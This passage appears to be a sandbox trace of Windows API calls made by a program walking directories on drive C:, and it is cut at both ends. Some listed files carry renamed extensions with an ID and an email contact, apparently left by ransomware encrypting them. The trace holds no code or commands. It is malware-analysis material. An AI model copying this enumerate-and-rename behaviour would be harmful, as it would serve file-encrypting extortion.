dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini", cAlternateFileName="GETCUR~1.INI")) returned 1 [0050.116] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x54acc791, ftLastWriteTime.dwHighDateTime=0x1d3273a, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd", cAlternateFileName="PARTNE~1.CMD")) returned 1 [0050.116] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9575af11, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9577d1ec, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd", cAlternateFileName="")) returned 1 [0050.116] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 1 [0050.116] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 0 [0050.116] FindClose (in: hFindFile=0x4260400 | out: hFindFile=0x4260400) returned 1 [0050.117] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0050.117] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0050.117] FindClose (in: hFindFile=0x4260440 | out: hFindFile=0x4260440) returned 1 [0050.117] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0050.117] FindNextFileW (in: hFindFile=0x4260480, lpFindFileData=0x38cfcf8 | out: lpFindFileData=0x38cfcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0050.117] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4261058 [0050.117] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x4260680 [0050.118] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0050.118] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0050.118] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4271060 [0050.118] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260140 [0050.118] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.118] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0050.118] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0050.118] FindClose (in: hFindFile=0x4260140 | out: hFindFile=0x4260140) returned 1 [0050.118] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0050.118] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0050.119] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4271060 [0050.119] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260640 [0050.119] FindNextFileW (in: hFindFile=0x4260640, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.119] FindNextFileW (in: hFindFile=0x4260640, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0050.119] FindNextFileW (in: hFindFile=0x4260640, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0050.119] FindClose (in: hFindFile=0x4260640 | out: hFindFile=0x4260640) returned 1 [0050.119] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0050.119] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0050.119] FindClose (in: hFindFile=0x4260680 | out: hFindFile=0x4260680) returned 1 [0050.119] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0050.121] FindNextFileW (in: hFindFile=0x4260480, lpFindFileData=0x38cfcf8 | out: lpFindFileData=0x38cfcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0050.121] FindNextFileW (in: hFindFile=0x4260480, lpFindFileData=0x38cfcf8 | out: lpFindFileData=0x38cfcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0050.121] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4261058 [0050.121] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x42602c0 [0050.129] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0050.131] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1025", cAlternateFileName="")) returned 1 [0050.131] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4271060 [0050.131] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42604c0 [0050.132] FindNextFileW (in: hFindFile=0x42604c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.636] FindNextFileW (in: hFindFile=0x42604c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.636] FindNextFileW (in: hFindFile=0x42604c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x121e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.636] FindNextFileW (in: hFindFile=0x42604c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0050.636] FindNextFileW (in: hFindFile=0x42604c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0050.636] FindClose (in: hFindFile=0x42604c0 | out: hFindFile=0x42604c0) returned 1 [0050.757] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0050.933] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1028", cAlternateFileName="")) returned 1 [0050.934] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c30940 [0050.934] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x70eccf8, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260100 [0050.934] FindNextFileW (in: hFindFile=0x4260100, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x70eccf8, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.934] FindNextFileW (in: hFindFile=0x4260100, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.934] FindNextFileW (in: hFindFile=0x4260100, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.935] FindNextFileW (in: hFindFile=0x4260100, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x70a0732, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x70a0732, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x70eccf8, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0050.935] FindNextFileW (in: hFindFile=0x4260100, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x70a0732, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x70a0732, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x70eccf8, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0050.935] FindClose (in: hFindFile=0x4260100 | out: hFindFile=0x4260100) returned 1 [0050.935] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c30940 | out: hHeap=0x6a0000) returned 1 [0050.935] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1029", cAlternateFileName="")) returned 1 [0050.935] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c30940 [0050.935] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260300 [0050.935] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.935] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.935] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13c4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.936] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x72441bf, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x72441bf, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, 